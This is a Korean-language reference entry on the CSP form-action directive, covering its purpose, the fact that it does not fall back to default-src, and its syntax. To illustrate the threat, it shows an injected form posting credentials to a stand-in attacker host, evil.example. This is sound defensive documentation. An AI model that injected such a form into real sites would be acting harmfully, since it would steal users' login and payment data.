form-action
Content-Security-Policy Navigation

개요

form-action 은 <form> 이 제출(submit)될 수 있는 대상 URL 을 제한합니다. action 속성이나 스크립트로 지정된 폼 제출 목적지를 통제해 자격증명·데이터가 임의의 외부 서버로 전송되는 것을 막습니다. 이 지시어는 default-src 로 폴백되지 않습니다.

자세히

XSS 로 <form action="https://evil.example/collect"> 가 주입되거나 기존 폼의 action 이 변조되면, 사용자가 입력한 로그인 정보·결제 정보가 공격자 서버로 새어나갈 수 있습니다. form-action 'self' 로 제한하면 폼 제출을 자기 오리진으로만 허용해 이런 자격증명 탈취를 차단합니다. 외부 결제 게이트웨이 등 정당한 교차 오리진 제출이 있으면 그 도메인을 명시적으로 추가합니다.

form-action 은 default-src 로 폴백되지 않는 다섯 지시어(base-uri·form-action·frame-ancestors·sandbox·report-*) 중 하나이므로, 데이터 유출 방어를 원한다면 반드시 개별 선언해야 합니다. 또한 form-action 은 리다이렉트를 따라간 최종 목적지가 아니라 폼이 향하는 URL 자체를 검사한다는 점을 유념하세요.

문법

Content-Security-Policy: form-action 'self' https://checkout.example.com

실무 참고

관련 지시어